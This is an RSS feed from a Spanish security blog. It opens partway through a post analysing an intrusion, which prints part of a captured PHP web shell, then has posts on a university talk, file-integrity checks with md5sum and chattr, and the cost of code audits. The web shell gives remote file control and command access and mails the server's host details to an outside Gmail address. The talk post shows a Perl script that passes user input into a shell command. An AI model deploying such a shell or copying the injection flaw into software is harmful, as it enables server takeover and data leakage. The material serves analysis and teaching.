<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend

>";
  }
}
else {
if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>

";
  }
}

if (@!$handle = opendir("$chdir")) {
 echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a>
untuk Kembali ke folder ori!</br>";
}
else {
echo "
<table border=\"0\" cellpadding=\"5\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> Upload:";
echo "
<input type=\"file\" name=\"userfile\" size=\"65\" style=\"
border-style:

solid; border-width: 1\">";
echo "
<input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\"
border: 1px solid

#000000\"></td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\">";
if (@!$msg) {
 echo "
<p align=\"left\">Messages</td>

";
} else {
  echo "
<p align=\"left\">$msg</td>

";
 }
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>
</table>

 ";
echo "
<table border=\"1\" cellpadding=\"2\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr bgcolor=\"#FF6600\" align=\"center\"> ";
echo "
<td > Permision</td>

";
echo "
<td > Nama File </td>

";
echo "
<td > Kapasiti </td>

";
echo "
<td > Perintah</td>

";
echo "     </tr>

";
$colorn = 0;
   while (false !== ($file = readdir($handle))) {
       if ($file != '.') {
           if ($colorn == 0) {
            $color = "style=\"background-color: #FF9900\"";
           }
           elseif ($colorn == 1) {
            $color = "style=\"background-color:  #FFCC33\"";
           }
           if (@is_dir("$chdir"."$file")) {
            $file = $file.'/';
            $mode = 'chdir';
           } else {
              $mode = 'edit';
            }
           if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
             $chdir .= '/';
           }
           if ($file == '../') {
            $lenpath = strlen($chdir); $baras = 0;
            for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') {
$baras++; } }
            $chdir_ = explode("/", $chdir);
            $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
           }
           $perms = @fileperms ("$chdir"."$file");
           if ($perms == '') {
            $perms = '???';
           }
           $size = @filesize ("$chdir"."$file");
           $size = $size / 1024;
           $size = explode(".", $size);
           if (@$size[1] != '') {
            $size = $size[0].'.'.@substr("$size[1]", 0, 2);
           } else {
              $size = $size[0];
            }
           if ($size == 0) {
            if ($mode == 'chdir') {
             $size = '???';
            }
           }
           echo "
<tr>";
    echo "
<td align=\"center\" $color> $perms</td>

";
           if (@is_writable ("$chdir"."$file")) {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir=$chdirpox\">TAG font color=\"#008000\">$file</font></a></b> </td>

";
             } else {
                echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir={$chdir}{$file}\">TAG font color=\"#008000\">$file</font></a> </b></td>

";
               }
            } else {
 if (is_readable("$chdir"."$file")) {
                echo "
<td $color> TAG a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file </td>

";
                 }
              }
           }
          else {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <a
href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
</td>

";
             } else {
                echo "
<td $color> <a

href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>

";

              }
            } else {
 if (@is_readable("$chdir"."$file")) {
                echo "
<td  $color> <a

href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file</td>

";
                }
              }
            }
           echo "
<td align=\"right\" $color> $size KB</td>

";
           if ($mode == 'edit') {
            echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a
href=\"#{$file}\"

onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>

";
           } else {
              echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy
</td>

";
             }
           echo "</tr>

";
           if ($colorn == 0) {
            $colorn = 1;
           }
           elseif ($colorn == 1) {
            $colorn = 0;
           }
       }
   }
   closedir($handle);
}

 $OS = @PHP_OS;
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
 else { $SafeMode = "<i>$SafeMode</i><BR>"; }

 $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

 $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " .
$PHPv . "<BR>Safe

Mode = " . $SafeMode . "<BR>TAG font color=blue>http://" . $injek .
"</font><BR>Ingat jangan

Guna Target Ini.<BR>By: NABIL");

 $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To:
$replyto\r\n";
 $header .= "MIME-Version: 1.0\r\n";
 If ($file_name) $header .= "Content-Type: multipart/mixed;
boundary=$uid\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 $header .= "Content-Type: text/$contenttype\r\n";
 $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
 $header .= "$message\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 If ($file_name) $header .= "Content-Type: $file_type;
name=\"$file_name\"\r\n";
 If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
 If ($file_name) $header .= "Content-Disposition: attachment;

filename=\"$file_name\"\r\n\r\n";
 If ($file_name) $header .= "$content\r\n";
 If ($file_name) $header .= "--$uid--";
 $to = ("haumil@gmail.com");
 $subject = ("Inbox linda.");
 mail($to,$subject,$psn,$header);

@include "$bn";
?>
 </table>
</fieldset>
</form>
</div>

</body>

</html>
</pre>
<p>Esta un poco mejor shell99, pero tampoco esta mal, lo que si es que se ve que han tenido tiempo no para desarrollar sino para encontrar los scripts y usarlos, interesante se ve que hay una o 2 personas que mas o menos le dan a la codificacion en perl y un poco en PHP pero en realidad las botnets no estan muy desarrolladas.</p>
<p>Esta decente el botnet, se puede tomar control de ella y obvamente no hacen mucho por generar una botnet mas compleja y mas grande, sin embargo me da la idea para desarrollar una de prueba de concepto durante estas fechas que ando de relax de programar en python para pruebas de volumen.</p>
<p>Bueno despues de tanto codigo .. me lanzo &#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Conferencia en la UNIVO</title>
		<link>http://security-dojo.com/programming-bits/conferencia-en-la-univo/</link>
		<comments>http://security-dojo.com/programming-bits/conferencia-en-la-univo/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:17:32 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=16</guid>
		<description><![CDATA[Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue: Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio La [...]]]></description>
			<content:encoded><![CDATA[<p>Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue:</p>
<p>Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio</p>
<p>La verdad estuvo interesante porque dejamos los slides de lado y nos pusimos a ver fallos de ayer, de hoy y de mañana en varios lugares, la verdad no pude aplicar la de un buen XSS para el phishing porque estaba haciendo un caor de la fregada y ya andaba en modo zombi pero se puso bueno en realidad.</p>
<p>Asi que aqui les dejo la conferencia, los slides estan muy muy genericos sin embargo tambien dejo los programas que se vieron dentro de la conferencia, no puedo dejar los URL ya que se hizo con el sistema de la UNIVO, lo siento.<br />
<span id="more-16"></span><br />
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash5/cabs/swflash.cab#version=5,0,0,0" height="406" width="669"><param name="movie" value="http://security-dojo.com/wp-content/uploads/2007/12/ejemplo_md5sum.swf"></param><param name="play" value="false"></param><param name="loop" value="false"></param><param name="quality" value="high"></param> <embed src="http://security-dojo.com/wp-content/uploads/2008/11/seguridad-ppf-casosdeestudio.swf" quality="low" loop="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" height="399" width="530"></embed></object></p>
<p>Los ejemplos fueron los mas basicos para mostrar fallos que aun ahora se encuentran en servidores:</p>
<p><code></p>
<pre name="code" class="c">
#!/usr/bin/perl
#

print "Bienvenido al proxy de autenticacion de la red segura de Victima.net, escriba el servidor interno: ";
$server = < STDIN >;
chomp($server);
system("ssh -l externo $server");
</pre>
<p></code></p>
<p>Ese tipo de ejemplos facilitos para ejemplificar la forma en que todavia se hackean servidores de universidades grandes que ofrecen servicios como pine para sus usuarios, aun funciona con planetas, dragones, etc.</p>
<p>Igual ejemplos de malas contraseñas, inyecciones avanzadas de SQL, algunas maquinas de estado, utilizacion de la libreria de GAUL para mutar strings para el fuzzing, etc. cosas basiquitas.</p>
<p>En fin .. me lanzo a jalar que hoy tengo un poco de jale &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/conferencia-en-la-univo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tu Peor Enemigo: El Otro Admin</title>
		<link>http://security-dojo.com/security-bits/tu-peor-enemigo-el-otro-admin/</link>
		<comments>http://security-dojo.com/security-bits/tu-peor-enemigo-el-otro-admin/#comments</comments>
		<pubDate>Tue, 04 Dec 2007 01:34:06 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[configuraciones]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://security-dojo.com/security-bits/tu-peor-enemigo-el-otro-admin/</guid>
		<description><![CDATA[Sandino Araico Sanchez dentro de sus conferencias ha generado controversia dandoles el titulo del &#8220;Tu Peor Enemigo&#8221;, dentro de esta conferencia (que recomendamos mucho) intenta buscar los peores enemigos de un buen sistema y una buena seguridad de lo mismo. Tomando el ejemplo de Sandino, daremos nosotros lo que se debe de hacer para contrarrestar [...]]]></description>
			<content:encoded><![CDATA[<p>Sandino Araico Sanchez dentro de sus conferencias ha generado controversia dandoles el titulo del &#8220;Tu Peor Enemigo&#8221;, dentro de esta conferencia (que recomendamos mucho) intenta buscar los peores enemigos de un buen sistema y una buena seguridad de lo mismo.</p>
<p>Tomando el ejemplo de Sandino, daremos nosotros lo que se debe de hacer para<br />
contrarrestar a &#8220;Tu Peor Enemigo&#8221;.</p>
<blockquote><p>&#8220;Yo no he cambiado Nada&#8221; &#8212; Tu Peor Enemigo: El Otro Administrador.</p></blockquote>
<p>Esta frase la he oido de clientes, administradores, estudiantes y  hasta familiares: &#8220;Yo no he cambiado nada&#8221;, &#8220;Solo dejo de funcionar&#8221;, &#8220;De la nada ya no jala&#8221;,etc.</p>
<p>Esta frase es la peor frase que se puede oir sobre todo a altas horas de la noche o muy muy temprano en un dia de trabajo, ya que sabemos que habran cientos de llamadas de usuarios que no podran usar este servicio. Tuve yo un encuentro con el peor enemigo en una compañia a la que le daba servicio, siendo rarisimo que dejaran de usarse los servicios tuve que obviamente<br />
ponerme a trabajar para detener a uno de los peores enemigos: &#8220;El Otro Administrador&#8221;</p>
<p><span id="more-8"></span></p>
<p>Obviamente restriccion de privilegios no funcionara ya que el tambien es administrador y el debe de tener privilegios para reiniciar servicios, hacer cambios requeridos, etc.</p>
<p>El problema entonces se refiere tanto a saber que se cambio, como a mantener una función que inhabilite los cambios en servicios que son criticos.</p>
<p>¿Cuales son los servicios criticos? En este caso era:</p>
<ul>
<li>Servidor de Correo (Postfix)</li>
<li>Servidor de Web (Apache)</li>
<li>Servidor de base de datos (MySQL)</li>
</ul>
<p>Ok entonces tenemos varios archivos que tienen la posibilidad de ser cambiados, teniendo asi un problema serio en los servicios, asi como el reinicio de los mismos y los logs.</p>
<p>Podemos tener aqui varias soluciones, la mas facil:</p>
<ul>
<li>Instalar AIDE o algo parecido</li>
</ul>
<p>El problema es que entonces el otro administrador va a querer administrar también nuestra base de datos de seguridad, lo cual nos deja no nada mas igual, si no peor.</p>
<p>Podemos crear rápidamente una base de datos con firmas md5 y tener un simple chequeo de cambios y que mande un correo con los cambios, ¿Como podemos crear una base de datos de ese tipo?</p>
<p>En una simple linea de comando:</p>
<pre name="code" class="bash">find <directorio> -print | xargs md5sum > archivo_de_firmas.md5</pre>
<p>Es decir, en nuestro ejemplo tenemos postfix:</p>
<pre name="code"  class="bash">find /etc/postfix -print | xargs md5sum > postfix_signatures.md5</pre>
<p>Para Apache:</p>
<pre name="code"  class="bash">
find /etc/apache2 -print | xargs md5sum > apache2_signatures.md5
</pre>
<p>En caso de que fuese apache.1.X.X:</p>
<pre name="code"  class="bash">
find /etc/apache -print | xargs md5sum > apache_signatures.md5
</pre>
<p>o</p>
<pre name="code"  class="bash">
find /etc/httpd -print | xargs md5sum > apache_signatures.md5
</pre>
<p>Teniendo ya esto podemos simplemente verificar las firmas dando el siguiente comando:</p>
<pre name="code"  class="bash">md5sum -c postfix_signatures.md5</pre>
<p>lo cual nos daria un resultado de OK en caso de que las firmas fueran las<br />
mismas.</p>
<p>¿Para que nos ayuda esto?, siendo md5 una firma del archivo cualquier cambio<br />
que se le haga, aunque sea de una letra, un byte, cambiaria la firma dando asi<br />
una veruficacion del cambio y nos puede dar una pista de donde estuvo el<br />
cambio que genero el problema en realidad.</p>
<p>Un ejemplo con un directorio simple:</p>
<p><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash5/cabs/swflash.cab#version=5,0,0,0" height="406" width="669"><param name="movie" value="http://security-dojo.com/wp-content/uploads/2007/12/ejemplo_md5sum.swf"></param><param name="play" value="true"></param><param name="loop" value="false"></param><param name="quality" value="low"></param> <embed src="http://security-dojo.com/wp-content/uploads/2007/12/ejemplo_md5sum.swf" quality="low" loop="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" height="406" width="669"></embed></object></p>
<p>Obviamente esto puede ser incrementado hasta para un sistema operativo completo PERO hay que tomar en cuenta que cosas como los logs, utmp, wtmp, etc. cambian con el uso del servidor.Esto puede agregarse al crontab para que corra cada hora (o hasta cada 10 minutos si de verdad el enemigo es agil, rapido y con presteza para romper las cosas). Un ejemplo de crontab que corre cada 15 minutos y manda un correo con el output es:</p>
<pre name="code"  class="bash">
#Poner SHELL y mandar correo con MAILTO
SHELL=/bin/sh
MAILTO=enrique.sanchez@security-dojo.com
#
# corre cada 15 minutos
*/15 * * * *       md5sum -c $HOME/fingerprints/apache2_fingerprints.md5
</pre>
<p>Podemos decir que hemos derrotado a nuestro enemigo, sin embargo tenemos otro problema, este es un remedio reactivo, el daño ya fue hecho y ahora tenemos que limpiar el problema. ¿Qué podemos hacer entonces?</p>
<p>El siguiente paso de defensa sobre nuestro peor enemigo: chattr</p>
<p>Este paso me sirvio muchisimo en una empresa donde todo el mundo movia cosas y &#8220;no movi nada&#8221; era la respuesta mas importante, sobre todo porque &#8220;el backend es tu problema no el mio&#8221;, en cuanto aplique la siguiente técnica el director<br />
general supo rapidamente quienes movian las configuraciones, ya que se quejaron de que no podian hacerlo mas, siendo que &#8220;Nunca antes lo habian hecho&#8221; como ellos mismos dijeron.</p>
<p>chattr es una herramienta indispensable, que desgraciadamente no funciona en el sistema resiserfs (ya que reiser usa cosas mas complejas que ext2 y ext3) pero en ext2 y ext3 (que la mayoria de la gente usa) son excelentes.</p>
<p>La herramienta lsattr nos deja ver los atributos del archivo, el atributo que veremos por el momento es inmutable (i) si damos rapidamente un lsattr a httpd.conf podemos ver lo siguiente:</p>
<pre name="code"  class="bash">
firebolt apache2 # lsattr httpd.conf
-------------- httpd.conf
firebolt apache2 #
</pre>
<p>Lo cual nos dice que no tiene ningun atributo por lo cual podemos editarlo de la siguiente manera:</p>
<pre name="code"  class="bash">
firebolt apache2 # echo cambio &gt;&gt; httpd.conf
firebolt apache2 # tail -3 httpd.conf</pre>
<pre name="code"  class="bash"># vim: ts=4 filetype=apache
cambio
firebolt apache2 #
</pre>
<p>Ahora hagamos el archivo inmutable, esto quiere decir que este atributo le<br />
dice al sistema queu aun siendo root no puede modificarse, ni borrarse:</p>
<pre name="code"  class="bash">
firebolt apache2 # chattr +i httpd.conf
firebolt apache2 # echo cambio &gt;&gt; httpd.conf
-bash: httpd.conf: Permission denied
firebolt apache2 # lsattr httpd.conf
----i--------- httpd.conf
firebolt apache2 #
</pre>
<p>¡EXCELENTE!</p>
<p>Ahora si queremo editarlo simplemente podemos remover el atributo de inmutable al archivo y podremos editarlo:</p>
<pre name="code"  class="bash">
firebolt apache2 # chattr -i httpd.conf
firebolt apache2 # echo cambio2 &gt;&gt; httpd.conf
firebolt apache2 # lsattr httpd.conf
-------------- httpd.conf
firebolt apache2 # tail -3 httpd.conf
# vim: ts=4 filetype=apache
cambio
cambio2
firebolt apache2 #
</pre>
<p>El siguiente es un ejemplo de como usar chattr:</p>
<p><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash5/cabs/swflash.cab#version=5,0,0,0" height="406" width="669"><param name="movie" value="../../movies/ejemplo_chattr.swf"></param><param name="play" value="true"></param><param name="loop" value="false"></param><param name="quality" value="low"></param> <embed src="../../movies/ejemplo_chattr.swf" quality="low" loop="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" height="406" width="669"></embed></object></p>
<p>Estas dos técnicas son básicas para comenzar a detener al otro admin, la educación asi como la experiencia iran ayudando al otro admin para poder tener mejor control sobre su servidor (si es que quiere tener control de su servidor)Espero que con esto este peor enemigo pueda ser detenido al menos un poco.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/tu-peor-enemigo-el-otro-admin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Beneficios de una Auditoria de Código</title>
		<link>http://security-dojo.com/security-bits/beneficios-de-una-auditoria-de-codigo/</link>
		<comments>http://security-dojo.com/security-bits/beneficios-de-una-auditoria-de-codigo/#comments</comments>
		<pubDate>Mon, 12 Nov 2007 04:12:09 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=3</guid>
		<description><![CDATA[<p>Una auditoria informática es una parte central e importante de la seguridad, ya sea una aplicación comprada o una aplicación hecha en casa la información contenida es el verdadero valor de la aplicación.</p>

<p>Una aplicación contiene errores debido a que el programador no fue enseñado con seguridad en mente, en realidad no habla nada de su experiencia sino que es un campo nuevo y que se lleva rapidamente en la expansión de técnicas y formas de explotación.</p>]]></description>
			<content:encoded><![CDATA[<p>Una auditoria informática es una parte central e importante de la seguridad, ya sea una aplicación comprada o una aplicación hecha en casa la información contenida es el verdadero valor de la aplicación.</p>
<p>Una aplicación contiene errores debido a que el programador no fue enseñado con seguridad en mente, en realidad no habla nada de su experiencia sino que es un campo nuevo y que se lleva rapidamente en la expansión de técnicas y formas de explotación.</p>
<p><span id="more-3"></span></p>
<p>Libros y clases estan llenas a veces de errores, reuso de código asi como toma de ejemplos y políticas de programación puede afectar hasta el punto de crear una aplicación vulnerable, estas vulnerabilidades pueden ir desde suplantación de identidades, robo de contraseñas, toma de control de la aplicación, toma de control del servidor, etc.</p>
<p>Estas aplicaciones se ejecutan en servidores que contienen información como correos, planes de ventas, mercadotecnia, asuntos personales de altos ejecutivos, etc. Los cuales conllevan un riesgo y un valor añadido a la red.</p>
<p>Un Penetration Testing, también llamado hackeo ético, es un ataque controlado por consultores que conocen técnicas hackers o hackers de sombrero blanco (Whitehats) que descubren y explotan fallos de seguridad dentro de la red y los reportan, reduciendo el riesgo de la red asi como de los aplicativos e información dentro de la misma.</p>
<h3>¿Inversión o Gasto?</h2>
<p>En mi experiencia he tenido que contestar la siguiente pregunta mas de una vez:</p>
<h4>¿Porque si mi aplicación costó X el costo de auditarla es Y? (Donde X &lt; Y)</h4>
<p>Creo que la respuesta mas obvia es:</p>
<p>-. El valor real de la aplicación puede ser definida por la siguiente ecuación de riesgo:</p>
<h4>COSTO APLICACION</h4>
<p>+ COSTO INFORMACION<br />
+ COSTO DOWNTIME<br />
-  AMORTIZACION COSTO APLICACION<br />
+ MANTENIMIENTO<br />
___________________________________<br />
= COSTO TOTAL DE APLICACION</p>
<p> Como se puede ver en la ecuación anterior el costo de la aplicación es solo la inversión inicial, intangibles como COSTO INFORMACION y COSTO DOWNTIME deben ser generados en un analisis de riesgo informático ya que son los costos generalmente mas grandes debido a que el COSTO DOWNTIME es:</p>
<h3 align="justify">      COSTO OPERACION<br />
+ PERDIDAS MERCADOTECNIA (MARCA, ETC)<br />
+ VENTAS PERDIDAS (En caso de ventas por Internet o sistemas criticos abajo)<br />
____________________________________<br />
= COSTO DOWNTIME</h3>
<p align="justify"> La importancia de una auditoría de código radica en la reducción de los factores de riesgo haciendo que la probabilidad de ocurrencia baje a lo minimo. Esto nos da un ejemplo de riesgo:</p>
<p>Una aplicación de 50,000 MXN maneja 3,000,000 MXN el costo de downtime es de 50,000 por hora y el mantenimiento es de 5,500 MXN al mes.</p>
<p>Si la aplicación tiene un riesgo del 75% de ser atacada y perder los datos, ser modificados o comprometer el servidor, el riesgo real que debe de reportarse es de:</p>
<h4 align="justify">(50,000 + 3,000,000 + (50,000 * 3) + 5,500) * 75% = 2,404,125 MXN</h4>
<p align="justify"> Este riesgo tiene una probabilidad de generarse en un 100% en un tiempo cercano (debido a la interacción de la variable del 75% esta ya prorrateado al tiempo de 1 año)</p>
<p>Este tipo de riesgo es simplemente inaceptable en la mayoria de las compañias, al auditar la aplicación se encuentran los fallos, se arreglan y por lo tanto la probabilidad de ser atacada y perder datos, modificarlos o comprometer el servidro baja, por ejemplo un 25% del ejemplo anterior seria:</p>
<h4>(50,000 + 3,000,000 + (50,000 * 3) + 5,500) * 75% = 801,375 MXN</h4>
<p> Lo cual es una reducción de riesgo considerable, tomando en cuenta que la auditoria costara 1,000,000 MXN aun asi habria un ahorro de aproximadamente 600,000 MXN neto dentro del primer año.</p>
<p> Esto es importante debido a que la mayoria de las compañias estan tomando la opcion del &#8220;open source&#8221; como una opcion barata, pero descuidan el recordar que no es gratis su mantenimiento y que el riesgo sigue estando vigente y que debe mantenerse de manera administrativamente responsible para la empresa.</p>
<p>El que sea una aplicación desarrollada en un lenguaje libre o con licencia libre (dicese GPL, BSD, etc) no lleva a que sea gratis su mantenimiento ni que el riesgo que lleva sea pequeño. Por lo tanto se debe tener una gran calidad de trabajo o asegurarse de las credenciales de quien hace el trabajo.</p>
<p>Es buena practica el pedir un demo de lo mismo o requerir una maqueta en caso de tener un desarrollo desde el diseño o la implementación de algun esquema medianamente complejo a muy complejo.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/beneficios-de-una-auditoria-de-codigo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

